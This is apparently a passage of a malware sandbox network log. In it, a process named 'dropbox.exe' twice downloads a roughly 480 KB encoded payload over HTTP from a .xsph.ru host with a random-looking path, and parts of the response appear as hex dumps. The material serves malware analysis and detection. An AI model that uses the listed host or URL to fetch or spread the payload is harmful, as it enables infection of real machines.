Sep 19, 2022 22:37:46.505804062 CEST	662	IN	Data Raw: ee c3 5a 6e ee 19 cd 41 ef 23 6e 74 76 a9 80 2f ed 1f 1c 5a 6c b9 43 ac 1b a0 c1 5a a9 b7 40 ab 3b 2f 71 bf c9 19 0a 68 c1 b7 29 8f 36 a7 cd cb aa 60 70 df 2f 25 c2 2f b1 b3 bf e5 35 a0 ce b0 6a a7 bb 88 f8 03 c0 44 70 70 bb 2f f1 07 57 c1 b7 af Data Ascii: ZnA#ntv/ZlCZ@;/qh)6`p/%/5jDpp/Wuv4Z/"bflq )x}nnjthl%3m'-rw`nnDJpnP,n\QZyb1#h#\\`jx;^p?Zp\|Z
Sep 19, 2022 22:37:46.505831003 CEST	664	IN	Data Raw: ce 85 0f 62 5c e0 6c 48 8d 1a 6c a3 a3 38 6e b3 48 a3 77 78 ed 5e c1 e5 84 8c df 29 6d 36 af dc 11 90 bc 0e 6c c3 a7 3b ff ba 2f ba b7 c1 41 d5 69 60 ee 26 ee 9a 8f ed 48 b2 85 bf 8e d0 30 3d ca 34 7b f0 e7 d4 3a bc 76 c5 72 ef 8b 0f 2f a0 40 03 Data Ascii: b\lHl8nHwx^)m6l;/Ai`&H0=4{:vr/@rZZEd?pxn$0A#Hp\b}"!Zv1jv~)tko%'d)Pg)@={**5}fj8-v.!xn?l)vxEd!th
Sep 19, 2022 22:37:46.505856991 CEST	665	IN	Data Raw: 3f 13 a7 b3 df f6 05 19 f0 25 74 6a 80 cb ee b8 cb 7a f9 c9 bd 81 67 62 3b ce 43 b4 ca e8 c4 b5 c3 31 b0 0f 26 1f 64 68 c7 33 ed 25 73 09 5c 62 2f 05 7a 9e d5 94 94 43 76 e2 1f 23 08 d6 c3 c3 da f7 be a5 cc b3 74 e0 2b 20 a7 29 be 0f 97 c6 bb c5 Data Ascii: ?%tjzgb;C1&dh3%s\b/zCv#t+ )+fr5lZ,x3%\j~z51lnn;tltnEhZmk^5Uj/3n?k.j;Zn}y)(d?+Z%)pD!
Sep 19, 2022 22:37:46.505882978 CEST	666	IN	Data Raw: 6e dc 37 69 6c c1 eb 35 66 9f f8 b4 c9 ca 25 0f b5 c3 31 41 36 d7 66 b2 f6 5c 87 94 25 7b 19 5c 62 37 ff ab f6 58 28 64 43 74 a1 f9 72 f1 ee 87 67 b3 31 25 36 ab 2d d8 32 e1 38 b7 df 27 f9 23 79 0f c5 b1 f4 aa 7d cf 50 c2 1e 95 bf 81 6d 88 2f a6 Data Ascii: n7il5f%1A6f\%{\b7X(dCtrg1%6-28'#y}Pm/KZd1kt5J/5i5jFht'#2);g~99dyZ#?\/\b5#\~y?!j'"'A}d#dysA?i`#h32nN8-r5P-Zfp
Sep 19, 2022 22:37:46.505908966 CEST	668	IN	Data Raw: d9 80 8a 31 bf 0f 60 ca 64 68 41 79 22 28 27 3f 38 2e db 23 6a 21 5c 6c b9 69 6d e3 31 9e 86 11 a5 c6 6e a7 b3 83 2e 8f e8 f0 83 1c 92 27 8f 36 26 25 8a c8 b1 bd 2b f3 3b c2 09 41 be bf b7 35 03 0b e7 31 a7 da f7 f6 4c 79 a3 da 44 6f 96 8b ff 44 Data Ascii: 1`dhAy"('?8.#j!\lim1n.'6&%+;A51LyDoDZ)^vlb5iJ;TDzv)"<Es=+0{t}i\DogJo-3m#fi)tj+r=xd:igq3?1"6`CnFnj'^\/Ar!j'
Sep 19, 2022 22:37:46.570868015 CEST	669	IN	Data Raw: dd 38 ab ce 9f b7 af a9 03 78 62 d9 76 7b 22 62 20 6a ce f3 b4 b3 bd f6 d6 d3 cb 31 07 34 5e bb 24 22 a9 d6 b8 1b bd b7 84 3b 62 f6 74 e3 b0 72 74 41 dd 69 6c 0f a9 a7 b1 b5 9a 6e bb 94 d6 6e a9 af 76 b2 96 07 cd b9 6c 62 fd 76 7b 22 66 20 5e ce Data Ascii: 8xbv{"b j14^$";btrtAilnnvlbv{"f ^qlp`p+?fbfrjAnZT@tbt1v3h 2j\YduOrjt!d+nZ&QhrHvv.:t#Avv+wx!t)?}+b{qj3

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49707	141.8.192.151	80	C:\Users\user\Desktop\dropbox.exe

Timestamp	kBytes transferred	Direction	Data
Sep 19, 2022 22:37:46.590423107 CEST	697	OUT	GET /Uuddcmhnxqhfgvscgvechrthfvxthbvnjytchegfrhvbrtgnthyfgnbvgfcfbhgfyuyuyuyuyuyuytttrrrfgh HTTP/1.1 User-Agent: 88 Host: f0719949.xsph.ru
Sep 19, 2022 22:37:46.652973890 CEST	698	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 19 Sep 2022 20:37:46 GMT Content-Length: 480659 Connection: keep-alive Last-Modified: Thu, 15 Sep 2022 23:02:48 GMT ETag: "75593-5e8bf3e785579" Accept-Ranges: bytes Data Raw: 10 0a 59 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 0a 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 0a 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 ee cf ea 5a 60 62 66 72 76 74 68 76 c5 c5 a7 bb 5f b1 b5 68 72 bb bd 6e 93 a9 af 76 bb b7 af a9 b9 6c 62 74 c3 78 bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a c1 b7 70 6e a7 bb bd 6e 68 ab 70 6a 68 c7 a0 bf 62 0a b5 e9 24 10 b9 41 f3 77 98 20 73 69 88 7d 32 7d 86 77 e3 71 96 cf d5 22 1c 79 7f 82 cd cd 98 32 24 1c 96 34 2e 7a 97 ee cb 86 7f 79 e1 c7 4c ab ad bd 22 bd 6e 78 64 70 6a 76 a5 0c a4 32 60 ef f5 7d 5e f3 e7 79 b1 9e b8 20 57 7c 92 32 66 eb e9 28 5d 8a 24 36 00 ac a6 85 10 90 69 79 b3 f7 b6 77 b3 06 84 67 c5 b2 f9 30 31 1a a7 36 74 eb b8 32 fc 31 9a 20 8c e7 e9 73 5b ee ae 1a 93 e7 eb 69 4f 27 eb 73 22 aa ae 1c c5 47 44 34 b1 f3 b6 1e 70 9e e7 1e 3e e7 f3 6b 4d dc a0 7f 92 ac e9 77 02 45 95 81 5a 03 9e 38 63 de a6 34 c3 aa a4 34 df 32 90 77 74 f3 05 73 b1 62 66 72 6a 74 68 76 78 78 a7 bb a7 b1 b5 68 dd 8f bd 6e 3f 66 5a 76 76 a7 60 e5 b9 6c 62 74 c3 78 bb 5a 09 76 6c 74 bb a9 5e af 66 40 72 5a c1 ab 72 6e a7 bb bd 6e 0c 2a c1 6a 76 6a 5a b1 62 d9 b9 6a 74 68 93 78 78 b7 bb a7 b1 a7 68 72 78 bd c1 76 a9 af 76 bb 74 af 66 b9 6c 62 74 c3 78 0b af a9 76 6a bb 5a 66 70 af 66 bb b9 5a 41 b7 70 5e a7 bb ad 6e 78 64 70 5a 76 5a 6a b1 62 66 72 6a 74 78 76 78 78 a7 bb a7 b1 b5 68 72 bb 7a ac 70 a9 1f 76 bb b7 af 96 74 6c 77 89 c3 78 bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a c1 b7 70 fe 62 bb 49 56 78 64 60 57 70 5a 8f b1 62 66 72 6a 74 68 76 78 78 a7 bb a7 b1 b5 68 72 bb bd 12 63 af af 5e bb b7 af 54 0c 72 62 91 c3 78 bb 5a a9 76 76 bb 5a 66 70 af d9 6a b9 0e bd b7 70 6e a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 66 72 6a 74 68 76 78 78 a7 bb 3c 1a db 7f 79 bb bd 6e f4 a3 5c 76 bb a7 af a9 b9 95 a9 74 c3 6c bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a e1 b7 70 d1 3c 32 86 84 7b 8e 70 6a dc 26 b5 b1 62 d9 b9 6a 74 6b b9 78 78 52 78 a7 b1 b5 68 72 bb bd 6e 76 a9 af 76 bb 3a af a9 3c 97 d9 7e 30 7a bb 5a a9 9f d5 bb 5a 66 d0 a9 66 c1 a7 5a c1 b7 ac 78 a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 a3 72 6a b4 93 7d 83 2c a7 bb a7 b1 72 68 72 bb bd 8b bb a9 af 6c bb b7 af fb bf 6c 62 74 c3 78 bb 5a a9 76 76 bb 5a 66 8d af 66 01 4a 92 7c 7d d3 32 a7 bb 50 74 78 64 70 e5 bb 5a 5a ad 62 66 72 9e 6a 68 76 78 78 a7 bb a7 b1 b5 68 72 bb bd 8b 76 a9 52 a5 32 83 1e e5 b9 6c 62 69 3e 78 bb 5a 96 bb 76 bb 2d 66 70 af b6 b7 b9 5a c1 b7 70 6e a7 bb bd 6e 78 64 70 87 76 5a 97 42 6b 90 81 2a 80 68 76 04 50 a7 bb a7 61 60 68 72 3c bd 6e 76 cb 5a 76 bb b7 af a9 b9 6c 62 74 c3 78 bb 5a 4c 76 76 44 5a 66 70 af 66 c1 b9 5a c1 b7 70 6e a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 66 72 6a 74 68 76 78 78 a7 bb a7 b1 b5 68 72 bb bd 6e 76 a9 af 76 bb b7 af a9 b9 6c 62 74 c3 78 bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a c1 b7 70 6e a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 66 72 6a 74 68 76 78 78 a7 Data Ascii: YgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQZ`bfrvthv_hrnvlbtxZvvZfpfZpnnhpjhb$Aw si}2}wq"y2$4.zyL"nxdpjv2`}^y W\|2f(]$6iywg016t21 s[iO's"GD4p>kMwEZ8c442wtsbfrjthvxxhn?fZvv`lbtxZvlt^f@rZrnnjvjZbjthxxhrxvvtflbtxvjZfpfZAp^nxdpZvZjbfrjtxvxxhrzpvtlwxZvvZfpfZpbIVxd`WpZbfrjthvxxhrc^TrbxZvvZfpjpnnxdpjvZZbfrjthvxx<yn\vtlZvvZfpfZp<2{pj&bjtkxxRxhrnvv:<~0zZZffZxnxdpjvZZbrj},rhrllbtxZvvZffJ\|}2PtxdpZZbfrjhvxxhrvR2lbi>xZv-fpZpnnxdpvZBkhvPa`hr<nvZvlbtxZLvvDZfpfZpnnxdpjvZZbfrjthvxxhrnvvlbtxZvvZfpfZpnnxdpjvZZbfrjthvxx
Sep 19, 2022 22:37:46.653007984 CEST	699	IN	Data Raw: bb a7 b1 b5 68 72 bb bd 6e 76 a9 af 76 bb b7 af a9 b9 6c 62 74 c3 78 bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a c1 b7 70 6e a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 66 72 6a 74 68 76 78 78 a7 bb a7 b1 b5 68 72 bb bd 6e 76 a9 af 76 bb b7 af a9 b9 6c Data Ascii: hrnvvlbtxZvvZfpfZpnnxdpjvZZbfrjthvxxhrnvvlbtxZvvZfpfZpnnxdpjvZZbfrjthvxxNr#~v(ftvz@v#GvpqVbfDv=bfnLvrq#WJxm:d^fk%,dp}V
Sep 19, 2022 22:37:46.653034925 CEST	701	IN	Data Raw: c3 a9 b9 7b bf 90 87 78 23 8c b9 b7 76 c9 f3 f1 95 1f 9d c1 21 06 98 76 70 79 80 df 91 6e d0 4a 60 c3 76 90 f3 26 30 7a 3e 6a cc 52 66 b9 78 dd b2 20 95 c9 4c 72 23 9b 5e b7 a9 e5 f7 2c a1 cb a5 b9 d4 30 64 6a 78 c9 f3 9e b6 09 48 5a be 79 86 a7 Data Ascii: {x#v!vpynJ`v&0z>jRfx Lr#^,0djxHZy.JpltnCk^{6Z,t vbN8v{"n\}gJ^fn9oEsn_Cd/siZSb/B&{l1LBZ\|v3pz?&tp4;Vuh,
Sep 19, 2022 22:37:46.653060913 CEST	702	IN	Data Raw: 27 3c 56 a1 87 b9 a7 77 5a 29 eb 0f c3 4e 6e 78 7e 29 e7 ce 4b 89 b1 62 27 c6 62 2f 99 67 6d 31 fb 94 0f f3 ab 68 72 2a cf 27 f3 11 94 a3 bb b7 00 ed 3e 42 62 91 0a b4 3c 54 a9 37 be c1 73 60 27 84 a2 46 8f 5a e2 ee 71 5e 0f 38 76 6e 78 94 cd 7e Data Ascii: '<VwZ)Nnx~)Kb'b/gm1hr'>Bb<T7s`'FZq^8vnx~/nf;\|QNh3KUtH\I4Zl;NwXvZKdWxzwjvZkdhvxrP,3?d^^Hu5l^W1"'.A@(td94frj5<<V0~?RH\}b/
Sep 19, 2022 22:37:46.653086901 CEST	704	IN	Data Raw: b9 64 70 2b c6 3b fb f2 4e 62 dd d2 0a a9 76 78 c5 44 da aa 64 48 c0 c0 ab bd 6e d3 d0 72 8a 23 d7 70 a9 b9 7e cd 35 a6 d0 f9 b3 a9 76 2f b6 8a 92 29 bc 98 fb c5 5a 8c de 0f d6 3d c1 bd 6e 81 64 79 6a 2f ac c2 a6 60 66 72 2b aa e5 f7 81 78 5a 38 Data Ascii: dp+;NbvxDdHnr#p~5v/)Z=ndyj/`fr+xZ86nj l}b0ipvZpz?q Z8$vrvjv;Zr{tqfA'/lf"}blv/lrfrn%hdp,1FlA3Br\R-Vjvzv
Sep 19, 2022 22:37:46.653115988 CEST	705	IN	Data Raw: ee c3 5a 6e ee 19 cd 41 ef 23 6e 74 76 a9 80 2f ed 1f 1c 5a 6c b9 43 ac 1b a0 c1 5a a9 b7 40 ab 3b 2f 71 bf c9 19 0a 68 c1 b7 29 8f 36 a7 cd cb aa 60 70 df 2f 25 c2 2f b1 b3 bf e5 35 a0 ce b0 6a a7 bb 88 f8 03 c0 44 70 70 bb 2f f1 07 57 c1 b7 af Data Ascii: ZnA#ntv/ZlCZ@;/qh)6`p/%/5jDpp/Wuv4Z/"bflq )x}nnjthl%3m'-rw`nnDJpnP,n\QZyb1#h#\\`jx;^p?Zp\|Z
Sep 19, 2022 22:37:46.653145075 CEST	706	IN	Data Raw: ce 85 0f 62 5c e0 6c 48 8d 1a 6c a3 a3 38 6e b3 48 a3 77 78 ed 5e c1 e5 84 8c df 29 6d 36 af dc 11 90 bc 0e 6c c3 a7 3b ff ba 2f ba b7 c1 41 d5 69 60 ee 26 ee 9a 8f ed 48 b2 85 bf 8e d0 30 3d ca 34 7b f0 e7 d4 3a bc 76 c5 72 ef 8b 0f 2f a0 40 03 Data Ascii: b\lHl8nHwx^)m6l;/Ai`&H0=4{:vr/@rZZEd?pxn$0A#Hp\b}"!Zv1jv~)tko%'d)Pg)@={**5}fj8-v.!xn?l)vxEd!th
Sep 19, 2022 22:37:46.653171062 CEST	708	IN	Data Raw: 3f 13 a7 b3 df f6 05 19 f0 25 74 6a 80 cb ee b8 cb 7a f9 c9 bd 81 67 62 3b ce 43 b4 ca e8 c4 b5 c3 31 b0 0f 26 1f 64 68 c7 33 ed 25 73 09 5c 62 2f 05 7a 9e d5 94 94 43 76 e2 1f 23 08 d6 c3 c3 da f7 be a5 cc b3 74 e0 2b 20 a7 29 be 0f 97 c6 bb c5 Data Ascii: ?%tjzgb;C1&dh3%s\b/zCv#t+ )+fr5lZ,x3%\j~z51lnn;tltnEhZmk^5Uj/3n?k.j;Zn}y)(d?+Z%)pD!
Sep 19, 2022 22:37:46.653198004 CEST	709	IN	Data Raw: 6e dc 37 69 6c c1 eb 35 66 9f f8 b4 c9 ca 25 0f b5 c3 31 41 36 d7 66 b2 f6 5c 87 94 25 7b 19 5c 62 37 ff ab f6 58 28 64 43 74 a1 f9 72 f1 ee 87 67 b3 31 25 36 ab 2d d8 32 e1 38 b7 df 27 f9 23 79 0f c5 b1 f4 aa 7d cf 50 c2 1e 95 bf 81 6d 88 2f a6 Data Ascii: n7il5f%1A6f\%{\b7X(dCtrg1%6-28'#y}Pm/KZd1kt5J/5i5jFht'#2);g~99dyZ#?\/\b5#\~y?!j'"'A}d#dysA?i`#h32nN8-r5P-Zfp
Sep 19, 2022 22:37:46.653225899 CEST	711	IN	Data Raw: d9 80 8a 31 bf 0f 60 ca 64 68 41 79 22 28 27 3f 38 2e db 23 6a 21 5c 6c b9 69 6d e3 31 9e 86 11 a5 c6 6e a7 b3 83 2e 8f e8 f0 83 1c 92 27 8f 36 26 25 8a c8 b1 bd 2b f3 3b c2 09 41 be bf b7 35 03 0b e7 31 a7 da f7 f6 4c 79 a3 da 44 6f 96 8b ff 44 Data Ascii: 1`dhAy"('?8.#j!\lim1n.'6&%+;A51LyDoDZ)^vlb5iJ;TDzv)"<Es=+0{t}i\DogJo-3m#fi)tj+r=xd:igq3?1"6`CnFnj'^\/Ar!j'
Sep 19, 2022 22:37:46.713813066 CEST	712	IN	Data Raw: dd 38 ab ce 9f b7 af a9 03 78 62 d9 76 7b 22 62 20 6a ce f3 b4 b3 bd f6 d6 d3 cb 31 07 34 5e bb 24 22 a9 d6 b8 1b bd b7 84 3b 62 f6 74 e3 b0 72 74 41 dd 69 6c 0f a9 a7 b1 b5 9a 6e bb 94 d6 6e a9 af 76 b2 96 07 cd b9 6c 62 fd 76 7b 22 66 20 5e ce Data Ascii: 8xbv{"b j14^$";btrtAilnnvlbv{"f ^qlp`p+?fbfrjAnZT@tbt1v3h 2j\YduOrjt!d+nZ&QhrHvv.:t#Avv+wx!t)?}+b{qj3

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49708	141.8.192.151	80	C:\Users\user\Desktop\dropbox.exe

Timestamp	kBytes transferred	Direction	Data
Sep 19, 2022 22:38:00.485990047 CEST	1202	OUT	GET /Uuddcmhnxqhfgvscgvechrthfvxthbvnjytchegfrhvbrtgnthyfgnbvgfcfbhgfyuyuyuyuyuyuytttrrrfgh HTTP/1.1 User-Agent: lVali Host: f0719949.xsph.ru
Sep 19, 2022 22:38:00.550436974 CEST	1204	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 19 Sep 2022 20:38:00 GMT Content-Length: 480659 Connection: keep-alive Last-Modified: Thu, 15 Sep 2022 23:02:48 GMT ETag: "75593-5e8bf3e785579" Accept-Ranges: bytes Data Raw: 10 0a 59 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 0a 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 0a 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 ee cf ea 5a 60 62 66 72 76 74 68 76 c5 c5 a7 bb 5f b1 b5 68 72 bb bd 6e 93 a9 af 76 bb b7 af a9 b9 6c 62 74 c3 78 bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a c1 b7 70 6e a7 bb bd 6e 68 ab 70 6a 68 c7 a0 bf 62 0a b5 e9 24 10 b9 41 f3 77 98 20 73 69 88 7d 32 7d 86 77 e3 71 96 cf d5 22 1c 79 7f 82 cd cd 98 32 24 1c 96 34 2e 7a 97 ee cb 86 7f 79 e1 c7 4c ab ad bd 22 bd 6e 78 64 70 6a 76 a5 0c a4 32 60 ef f5 7d 5e f3 e7 79 b1 9e b8 20 57 7c 92 32 66 eb e9 28 5d 8a 24 36 00 ac a6 85 10 90 69 79 b3 f7 b6 77 b3 06 84 67 c5 b2 f9 30 31 1a a7 36 74 eb b8 32 fc 31 9a 20 8c e7 e9 73 5b ee ae 1a 93 e7 eb 69 4f 27 eb 73 22 aa ae 1c c5 47 44 34 b1 f3 b6 1e 70 9e e7 1e 3e e7 f3 6b 4d dc a0 7f 92 ac e9 77 02 45 95 81 5a 03 9e 38 63 de a6 34 c3 aa a4 34 df 32 90 77 74 f3 05 73 b1 62 66 72 6a 74 68 76 78 78 a7 bb a7 b1 b5 68 dd 8f bd 6e 3f 66 5a 76 76 a7 60 e5 b9 6c 62 74 c3 78 bb 5a 09 76 6c 74 bb a9 5e af 66 40 72 5a c1 ab 72 6e a7 bb bd 6e 0c 2a c1 6a 76 6a 5a b1 62 d9 b9 6a 74 68 93 78 78 b7 bb a7 b1 a7 68 72 78 bd c1 76 a9 af 76 bb 74 af 66 b9 6c 62 74 c3 78 0b af a9 76 6a bb 5a 66 70 af 66 bb b9 5a 41 b7 70 5e a7 bb ad 6e 78 64 70 5a 76 5a 6a b1 62 66 72 6a 74 78 76 78 78 a7 bb a7 b1 b5 68 72 bb 7a ac 70 a9 1f 76 bb b7 af 96 74 6c 77 89 c3 78 bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a c1 b7 70 fe 62 bb 49 56 78 64 60 57 70 5a 8f b1 62 66 72 6a 74 68 76 78 78 a7 bb a7 b1 b5 68 72 bb bd 12 63 af af 5e bb b7 af 54 0c 72 62 91 c3 78 bb 5a a9 76 76 bb 5a 66 70 af d9 6a b9 0e bd b7 70 6e a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 66 72 6a 74 68 76 78 78 a7 bb 3c 1a db 7f 79 bb bd 6e f4 a3 5c 76 bb a7 af a9 b9 95 a9 74 c3 6c bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a e1 b7 70 d1 3c 32 86 84 7b 8e 70 6a dc 26 b5 b1 62 d9 b9 6a 74 6b b9 78 78 52 78 a7 b1 b5 68 72 bb bd 6e 76 a9 af 76 bb 3a af a9 3c 97 d9 7e 30 7a bb 5a a9 9f d5 bb 5a 66 d0 a9 66 c1 a7 5a c1 b7 ac 78 a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 a3 72 6a b4 93 7d 83 2c a7 bb a7 b1 72 68 72 bb bd 8b bb a9 af 6c bb b7 af fb bf 6c 62 74 c3 78 bb 5a a9 76 76 bb 5a 66 8d af 66 01 4a 92 7c 7d d3 32 a7 bb 50 74 78 64 70 e5 bb 5a 5a ad 62 66 72 9e 6a 68 76 78 78 a7 bb a7 b1 b5 68 72 bb bd 8b 76 a9 52 a5 32 83 1e e5 b9 6c 62 69 3e 78 bb 5a 96 bb 76 bb 2d 66 70 af b6 b7 b9 5a c1 b7 70 6e a7 bb bd 6e 78 64 70 87 76 5a 97 42 6b 90 81 2a 80 68 76 04 50 a7 bb a7 61 60 68 72 3c bd 6e 76 cb 5a 76 bb b7 af a9 b9 6c 62 74 c3 78 bb 5a 4c 76 76 44 5a 66 70 af 66 c1 b9 5a c1 b7 70 6e a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 66 72 6a 74 68 76 78 78 a7 bb a7 b1 b5 68 72 bb bd 6e 76 a9 af 76 bb b7 af a9 b9 6c 62 74 c3 78 bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a c1 b7 70 6e a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 66 72 6a 74 68 76 78 78 a7 Data Ascii: YgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQZ`bfrvthv_hrnvlbtxZvvZfpfZpnnhpjhb$Aw si}2}wq"y2$4.zyL"nxdpjv2`}^y W\|2f(]$6iywg016t21 s[iO's"GD4p>kMwEZ8c442wtsbfrjthvxxhn?fZvv`lbtxZvlt^f@rZrnnjvjZbjthxxhrxvvtflbtxvjZfpfZAp^nxdpZvZjbfrjtxvxxhrzpvtlwxZvvZfpfZpbIVxd`WpZbfrjthvxxhrc^TrbxZvvZfpjpnnxdpjvZZbfrjthvxx<yn\vtlZvvZfpfZp<2{pj&bjtkxxRxhrnvv:<~0zZZffZxnxdpjvZZbrj},rhrllbtxZvvZffJ\|}2PtxdpZZbfrjhvxxhrvR2lbi>xZv-fpZpnnxdpvZBkhvPa`hr<nvZvlbtxZLvvDZfpfZpnnxdpjvZZbfrjthvxxhrnvvlbtxZvvZfpfZpnnxdpjvZZbfrjthvxx
Sep 19, 2022 22:38:00.550472021 CEST	1205	IN	Data Raw: bb a7 b1 b5 68 72 bb bd 6e 76 a9 af 76 bb b7 af a9 b9 6c 62 74 c3 78 bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a c1 b7 70 6e a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 66 72 6a 74 68 76 78 78 a7 bb a7 b1 b5 68 72 bb bd 6e 76 a9 af 76 bb b7 af a9 b9 6c Data Ascii: hrnvvlbtxZvvZfpfZpnnxdpjvZZbfrjthvxxhrnvvlbtxZvvZfpfZpnnxdpjvZZbfrjthvxxNr#~v(ftvz@v#GvpqVbfDv=bfnLvrq#WJxm:d^fk%,dp}V
Sep 19, 2022 22:38:00.550497055 CEST	1207	IN	Data Raw: c3 a9 b9 7b bf 90 87 78 23 8c b9 b7 76 c9 f3 f1 95 1f 9d c1 21 06 98 76 70 79 80 df 91 6e d0 4a 60 c3 76 90 f3 26 30 7a 3e 6a cc 52 66 b9 78 dd b2 20 95 c9 4c 72 23 9b 5e b7 a9 e5 f7 2c a1 cb a5 b9 d4 30 64 6a 78 c9 f3 9e b6 09 48 5a be 79 86 a7 Data Ascii: {x#v!vpynJ`v&0z>jRfx Lr#^,0djxHZy.JpltnCk^{6Z,t vbN8v{"n\}gJ^fn9oEsn_Cd/siZSb/B&{l1LBZ\|v3pz?&tp4;Vuh,
Sep 19, 2022 22:38:00.550515890 CEST	1208	IN	Data Raw: 27 3c 56 a1 87 b9 a7 77 5a 29 eb 0f c3 4e 6e 78 7e 29 e7 ce 4b 89 b1 62 27 c6 62 2f 99 67 6d 31 fb 94 0f f3 ab 68 72 2a cf 27 f3 11 94 a3 bb b7 00 ed 3e 42 62 91 0a b4 3c 54 a9 37 be c1 73 60 27 84 a2 46 8f 5a e2 ee 71 5e 0f 38 76 6e 78 94 cd 7e Data Ascii: '<VwZ)Nnx~)Kb'b/gm1hr'>Bb<T7s`'FZq^8vnx~/nf;\|QNh3KUtH\I4Zl;NwXvZKdWxzwjvZkdhvxrP,3?d^^Hu5l^W1"'.A@(td94frj5<<V0~?RH\}b/
Sep 19, 2022 22:38:00.550534964 CEST	1209	IN	Data Raw: b9 64 70 2b c6 3b fb f2 4e 62 dd d2 0a a9 76 78 c5 44 da aa 64 48 c0 c0 ab bd 6e d3 d0 72 8a 23 d7 70 a9 b9 7e cd 35 a6 d0 f9 b3 a9 76 2f b6 8a 92 29 bc 98 fb c5 5a 8c de 0f d6 3d c1 bd 6e 81 64 79 6a 2f ac c2 a6 60 66 72 2b aa e5 f7 81 78 5a 38 Data Ascii: dp+;NbvxDdHnr#p~5v/)Z=ndyj/`fr+xZ86nj l}b0ipvZpz?q Z8$vrvjv;Zr{tqfA'/lf"}blv/lrfrn%hdp,1FlA3Br\R-Vjvzv
Sep 19, 2022 22:38:00.550553083 CEST	1211	IN	Data Raw: ee c3 5a 6e ee 19 cd 41 ef 23 6e 74 76 a9 80 2f ed 1f 1c 5a 6c b9 43 ac 1b a0 c1 5a a9 b7 40 ab 3b 2f 71 bf c9 19 0a 68 c1 b7 29 8f 36 a7 cd cb aa 60 70 df 2f 25 c2 2f b1 b3 bf e5 35 a0 ce b0 6a a7 bb 88 f8 03 c0 44 70 70 bb 2f f1 07 57 c1 b7 af Data Ascii: ZnA#ntv/ZlCZ@;/qh)6`p/%/5jDpp/Wuv4Z/"bflq )x}nnjthl%3m'-rw`nnDJpnP,n\QZyb1#h#\\`jx;^p?Zp\|Z
Sep 19, 2022 22:38:00.550570965 CEST	1212	IN	Data Raw: ce 85 0f 62 5c e0 6c 48 8d 1a 6c a3 a3 38 6e b3 48 a3 77 78 ed 5e c1 e5 84 8c df 29 6d 36 af dc 11 90 bc 0e 6c c3 a7 3b ff ba 2f ba b7 c1 41 d5 69 60 ee 26 ee 9a 8f ed 48 b2 85 bf 8e d0 30 3d ca 34 7b f0 e7 d4 3a bc 76 c5 72 ef 8b 0f 2f a0 40 03 Data Ascii: b\lHl8nHwx^)m6l;/Ai`&H0=4{:vr/@rZZEd?pxn$0A#Hp\b}"!Zv1jv~)tko%'d)Pg)@={**5}fj8-v.!xn?l)vxEd!th
